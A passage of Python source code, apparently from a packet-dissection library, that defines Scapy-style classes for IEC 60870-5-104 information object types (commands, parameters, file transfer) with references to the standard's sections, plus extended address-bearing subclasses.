IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RD_NA_1 # this information object contains no data fields_desc = [] class IEC104_IO_C_CS_NA_1(IEC104_IO_Packet): """ clock synchronization command EN 60870-5-101:2003, sec. 7.3.4.4 (p. 109) """ name = 'C_CS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CS_NA_1 fields_desc = IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_TS_NA_1(IEC104_IO_Packet): """ test command EN 60870-5-101:2003, sec. 7.3.4.5 (p. 110) """ name = 'C_TS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_NA_1 fields_desc = IEC104_IE_FBP.informantion_element_fields class IEC104_IO_C_RP_NA_1(IEC104_IO_Packet): """ reset process command EN 60870-5-101:2003, sec. 7.3.4.6 (p. 110) """ name = 'C_RP_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RP_NA_1 fields_desc = IEC104_IE_QRP.informantion_element_fields class IEC104_IO_C_CD_NA_1(IEC104_IO_Packet): """ (telegram) delay acquisition command EN 60870-5-101:2003, sec. 7.3.4.7 (p. 111) """ name = 'C_CD_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CD_NA_1 fields_desc = IEC104_IE_CP16TIME2A.informantion_element_fields class IEC104_IO_P_ME_NA_1(IEC104_IO_Packet): """ parameter of measured values, normalized value EN 60870-5-101:2003, sec. 7.3.5.1 (p. 112) """ name = 'P_ME_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QPM.informantion_element_fields class IEC104_IO_P_ME_NB_1(IEC104_IO_Packet): """ parameter of measured values, scaled value EN 60870-5-101:2003, sec. 7.3.5.2 (p. 113) """ name = 'P_ME_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QPM.informantion_element_fields class IEC104_IO_P_ME_NC_1(IEC104_IO_Packet): """ parameter of measured values, short floating point number EN 60870-5-101:2003, sec. 7.3.5.3 (p. 114) """ name = 'P_ME_NC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QPM.informantion_element_fields class IEC104_IO_P_AC_NA_1(IEC104_IO_Packet): """ parameter activation EN 60870-5-101:2003, sec. 7.3.5.4 (p. 115) """ name = 'P_AC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_AC_NA_1 fields_desc = IEC104_IE_QPA.informantion_element_fields class IEC104_IO_F_FR_NA_1(IEC104_IO_Packet): """ file ready EN 60870-5-101:2003, sec. 7.3.6.1 (p. 116) """ name = 'F_FR_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_FR_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_LOF.informantion_element_fields + \ IEC104_IE_FRQ.informantion_element_fields class IEC104_IO_F_SR_NA_1(IEC104_IO_Packet): """ section ready EN 60870-5-101:2003, sec. 7.3.6.2 (p. 117) """ name = 'F_SR_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SR_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_LOF.informantion_element_fields + \ IEC104_IE_SRQ.informantion_element_fields class IEC104_IO_F_SC_NA_1(IEC104_IO_Packet): """ call directory, select file, call file, call section EN 60870-5-101:2003, sec. 7.3.6.3 (p. 118) """ name = 'F_SC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_SCQ.informantion_element_fields class IEC104_IO_F_LS_NA_1(IEC104_IO_Packet): """ last section, last segment EN 60870-5-101:2003, sec. 7.3.6.4 (p. 119) """ name = 'F_LS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_LS_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_LSQ.informantion_element_fields + \ IEC104_IE_CHS.informantion_element_fields class IEC104_IO_F_AF_NA_1(IEC104_IO_Packet): """ ack file, ack section EN 60870-5-101:2003, sec. 7.3.6.5 (p. 119) """ name = 'F_AF_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_AF_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_AFQ.informantion_element_fields class IEC104_IO_F_SG_NA_1(IEC104_IO_Packet): """ file / section data octets EN 60870-5-101:2003, sec. 7.3.6.6 (p. 120) """ name = 'F_SG_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SG_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + [ BitFieldLenField('segment_length', None, 8, length_of='data'), # repr IEC104_IE_LOS XStrLenField('data', '', length_from=lambda pkt: pkt.segment_length) ] class IEC104_IO_F_DR_TA_1(IEC104_IO_Packet): """ directory EN 60870-5-101:2003, sec. 7.3.6.7 (p. 121) """ name = 'F_DR_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_DR_TA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_LOF.informantion_element_fields + \ IEC104_IE_SOF.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SC_TA_1(IEC104_IO_Packet): """ single command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.1 (p. 37) """ name = 'C_SC_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_TA_1 fields_desc = IEC104_IE_SCO.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_DC_TA_1(IEC104_IO_Packet): """ double command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.2 (p. 38) """ name = 'C_DC_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_TA_1 fields_desc = IEC104_IE_DCO.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_RC_TA_1(IEC104_IO_Packet): """ step control command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.3 (p. 39) """ name = 'C_RC_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_TA_1 fields_desc = IEC104_IE_RCO.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SE_TA_1(IEC104_IO_Packet): """ set point command, normed value with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.4 (p. 40) """ name = 'C_SE_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SE_TB_1(IEC104_IO_Packet): """ set point command, scaled value with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.5 (p. 41) """ name = 'C_SE_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SE_TC_1(IEC104_IO_Packet): """ set point command, shortened floating point value with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.6 (p. 42) """ name = 'C_SE_TC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_BO_TA_1(IEC104_IO_Packet): """ bitmask 32 bit with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.7 (p. 43) """ name = 'C_BO_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_TA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_TS_TA_1(IEC104_IO_Packet): """ test command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.8 (p. 44) """ name = 'C_TS_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_TA_1 fields_desc = IEC104_IE_TSC.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_F_SC_NB_1(IEC104_IO_Packet): """ request archive file EN 60870-5-104:2006, sec. 8.9 (p. 45) """ name = 'F_SC_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NB_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_CP56TIME2A_START_TIME.\ informantion_element_fields + \ IEC104_IE_CP56TIME2A_STOP_TIME.informantion_element_fields IEC104_IO_CLASSES = { IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1, IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1, IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1, IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1, IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1, IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1, IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1, IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1, IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1, IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1, IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1, IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1, IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1, IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1, IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1, IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1, IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1, IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1, IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1, IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1, IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1, IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1, IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1, IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1, IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1, IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1, IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1, IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1, IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1, IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1, IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1, IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1, IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1, IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1, IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1, IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1, IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1, IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1, IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1, IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1, IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1, IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1, IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1, IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1, IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1, IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1, IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1, IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1, IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1, IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1, IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1, IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1, IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1, IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1, IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1, IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1, IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1, IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1, IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1, IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1, IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1, IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1, IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1, IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1, IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1, IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1, IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1 } class IEC104_IO_M_SP_NA_1_IOA(IEC104_IO_M_SP_NA_1): """ extended version of IEC104_IO_M_SP_NA_1 containing an individual information object address """ name = 'M_SP_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_SP_NA_1.fields_desc class IEC104_IO_M_SP_TA_1_IOA(IEC104_IO_M_SP_TA_1): """ extended version of IEC104_IO_M_SP_TA_1 containing an individual information object address """ name = 'M_SP_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_SP_TA_1.fields_desc class IEC104_IO_M_DP_NA_1_IOA(IEC104_IO_M_DP_NA_1): """ extended version of IEC104_IO_M_DP_NA_1 containing an individual information object address """ name = 'M_DP_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_DP_NA_1.fields_desc class IEC104_IO_M_DP_TA_1_IOA(IEC104_IO_M_DP_TA_1): """ extended version of IEC104_IO_M_DP_TA_1 containing an individual information object address """ name = 'M_DP_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_DP_TA_1.fields_desc class IEC104_IO_M_ST_NA_1_IOA(IEC104_IO_M_ST_NA_1): """ extended version of IEC104_IO_M_ST_NA_1 containing an individual information object address """ name = 'M_ST_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ST_NA_1.fields_desc class IEC104_IO_M_ST_TA_1_IOA(IEC104_IO_M_ST_TA_1): """ extended version of IEC104_IO_M_ST_TA_1 containing an individual information object address """ name = 'M_ST_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ST_TA_1.fields_desc class IEC104_IO_M_BO_NA_1_IOA(IEC104_IO_M_BO_NA_1): """ extended version of IEC104_IO_M_BO_NA_1 containing an individual information object address """ name = 'M_BO_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_BO_NA_1.fields_desc class IEC104_IO_M_BO_TA_1_IOA(IEC104_IO_M_BO_TA_1): """ extended version of IEC104_IO_M_BO_TA_1 containing an individual information object address """ name = 'M_BO_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_BO_TA_1.fields_desc class IEC104_IO_M_ME_NA_1_IOA(IEC104_IO_M_ME_NA_1): """ extended version of IEC104_IO_M_ME_NA_1 containing an individual information object address """ name = 'M_ME_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_NA_1.fields_desc class IEC104_IO_M_ME_TA_1_IOA(IEC104_IO_M_ME_TA_1): """ extended version of IEC104_IO_M_ME_TA_1 containing an individual information object address """ name = 'M_ME_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TA_1.fields_desc class IEC104_IO_M_ME_NB_1_IOA(IEC104_IO_M_ME_NB_1): """ extended version of IEC104_IO_M_ME_NB_1 containing an individual information object address """ name = 'M_ME_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_NB_1.fields_desc class IEC104_IO_M_ME_TB_1_IOA(IEC104_IO_M_ME_TB_1): """ extended version of IEC104_IO_M_ME_TB_1 containing an individual information object address """ name = 'M_ME_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TB_1.fields_desc class IEC104_IO_M_ME_NC_1_IOA(IEC104_IO_M_ME_NC_1): """ extended version of IEC104_IO_M_ME_NC_1 containing an individual information object address """ name = 'M_ME_NC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_NC_1.fields_desc class IEC104_IO_M_ME_TC_1_IOA(IEC104_IO_M_ME_TC_1): """ extended version of IEC104_IO_M_ME_TC_1 containing an individual information object address """ name = 'M_ME_TC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TC_1.fields_desc class IEC104_IO_M_IT_NA_1_IOA(IEC104_IO_M_IT_NA_1): """ extended version of IEC104_IO_M_IT_NA_1 containing an individual information object address """ name = 'M_IT_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_IT_NA_1.fields_desc class IEC104_IO_M_IT_TA_1_IOA(IEC104_IO_M_IT_TA_1): """ extended version of IEC104_IO_M_IT_TA_1 containing an individual information object address """ name = 'M_IT_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_IT_TA_1.fields_desc class IEC104_IO_M_EP_TA_1_IOA(IEC104_IO_M_EP_TA_1): """ extended version of IEC104_IO_M_EP_TA_1 containing an individual information object address """ name = 'M_EP_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TA_1.fields_desc class IEC104_IO_M_EP_TB_1_IOA(IEC104_IO_M_EP_TB_1): """ extended version of IEC104_IO_M_EP_TB_1 containing an individual information object address """ name = 'M_EP_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TB_1.fields_desc class IEC104_IO_M_EP_TC_1_IOA(IEC104_IO_M_EP_TC_1): """ extended version of IEC104_IO_M_EP_TC_1 containing an individual information object address """ name = 'M_EP_TC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TC_1.fields_desc class IEC104_IO_M_PS_NA_1_IOA(IEC104_IO_M_PS_NA_1): """ extended version of IEC104_IO_M_PS_NA_1 containing an individual information object address """ name = 'M_PS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_PS_NA_1.fields_desc class IEC104_IO_M_ME_ND_1_IOA(IEC104_IO_M_ME_ND_1): """ extended version of IEC104_IO_M_ME_ND_1 containing an individual information object address """ name = 'M_ME_ND_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_ND_1.fields_desc class IEC104_IO_M_SP_TB_1_IOA(IEC104_IO_M_SP_TB_1): """ extended version of IEC104_IO_M_SP_TB_1 containing an individual information object address """ name = 'M_SP_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_SP_TB_1.fields_desc class IEC104_IO_M_DP_TB_1_IOA(IEC104_IO_M_DP_TB_1): """ extended version of IEC104_IO_M_DP_TB_1 containing an individual information object address """ name = 'M_DP_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_DP_TB_1.fields_desc class IEC104_IO_M_ST_TB_1_IOA(IEC104_IO_M_ST_TB_1): """ extended version of IEC104_IO_M_ST_TB_1 containing an individual information object address """ name = 'M_ST_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ST_TB_1.fields_desc class IEC104_IO_M_BO_TB_1_IOA(IEC104_IO_M_BO_TB_1): """ extended version of IEC104_IO_M_BO_TB_1 containing an individual information object address """ name = 'M_BO_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_BO_TB_1.fields_desc class IEC104_IO_M_ME_TD_1_IOA(IEC104_IO_M_ME_TD_1): """ extended version of IEC104_IO_M_ME_TD_1 containing an individual information object address """ name = 'M_ME_TD_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TD_1.fields_desc class IEC104_IO_M_ME_TE_1_IOA(IEC104_IO_M_ME_TE_1): """ extended version of IEC104_IO_M_ME_TE_1 containing an individual information object address """ name = 'M_ME_TE_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TE_1.fields_desc class IEC104_IO_M_ME_TF_1_IOA(IEC104_IO_M_ME_TF_1): """ extended version of IEC104_IO_M_ME_TF_1 containing an individual information object address """ name = 'M_ME_TF_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TF_1.fields_desc class IEC104_IO_M_IT_TB_1_IOA(IEC104_IO_M_IT_TB_1): """ extended version of IEC104_IO_M_IT_TB_1 containing an individual information object address """ name = 'M_IT_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_IT_TB_1.fields_desc class IEC104_IO_M_EP_TD_1_IOA(IEC104_IO_M_EP_TD_1): """ extended version of IEC104_IO_M_EP_TD_1 containing an individual information object address """ name = 'M_EP_TD_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TD_1.fields_desc class IEC104_IO_M_EP_TE_1_IOA(IEC104_IO_M_EP_TE_1): """ extended version of IEC104_IO_M_EP_TE_1 containing an individual information object address """ name = 'M_EP_TE_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TE_1.fields_desc class IEC104_IO_M_EP_TF_1_IOA(IEC104_IO_M_EP_TF_1): """ extended version of IEC104_IO_M_EP_TF_1 containing an individual information object address """ name = 'M_EP_TF_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TF_1.fields_desc class IEC104_IO_C_SC_NA_1_IOA(IEC104_IO_C_SC_NA_1): """ extended version of IEC104_IO_C_SC_NA_1 containing an individual information object address """ name = 'C_SC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SC_NA_1.fields_desc class IEC104_IO_C_DC_NA_1_IOA(IEC104_IO_C_DC_NA_1): """ extended version of IEC104_IO_C_DC_NA_1 containing an individual information object address """ name = 'C_DC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_DC_NA_1.fields_desc class IEC104_IO_C_RC_NA_1_IOA(IEC104_IO_C_RC_NA_1): """ extended version of IEC104_IO_C_RC_NA_1 containing an individual information object address """ name = 'C_RC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RC_NA_1.fields_desc class IEC104_IO_C_SE_NA_1_IOA(IEC104_IO_C_SE_NA_1): """ extended version of IEC104_IO_C_SE_NA_1 containing an individual information object address """ name = 'C_SE_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_NA_1.fields_desc class IEC104_IO_C_SE_NB_1_IOA(IEC104_IO_C_SE_NB_1): """ extended version of IEC104_IO_C_SE_NB_1 containing an individual information object address """ name = 'C_SE_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_NB_1.fields_desc class IEC104_IO_C_SE_NC_1_IOA(IEC104_IO_C_SE_NC_1): """ extended version of IEC104_IO_C_SE_NC_1 containing an individual information object address """ name = 'C_SE_NC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_NC_1.fields_desc class IEC104_IO_C_BO_NA_1_IOA(IEC104_IO_C_BO_NA_1): """ extended version of IEC104_IO_C_BO_NA_1 containing an individual information object address """ name = 'C_BO_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_BO_NA_1.fields_desc class IEC104_IO_C_SC_TA_1_IOA(IEC104_IO_C_SC_TA_1): """ extended version of IEC104_IO_C_SC_TA_1 containing an individual information object address """ name = 'C_SC_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SC_TA_1.fields_desc class IEC104_IO_C_DC_TA_1_IOA(IEC104_IO_C_DC_TA_1): """ extended version of IEC104_IO_C_DC_TA_1 containing an individual information object address """ name = 'C_DC_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_DC_TA_1.fields_desc class IEC104_IO_C_RC_TA_1_IOA(IEC104_IO_C_RC_TA_1): """ extended version of IEC104_IO_C_RC_TA_1 containing an individual information object address """ name = 'C_RC_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RC_TA_1.fields_desc class IEC104_IO_C_SE_TA_1_IOA(IEC104_IO_C_SE_TA_1): """ extended version of IEC104_IO_C_SE_TA_1 containing an individual information object address """ name = 'C_SE_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_TA_1.fields_desc class 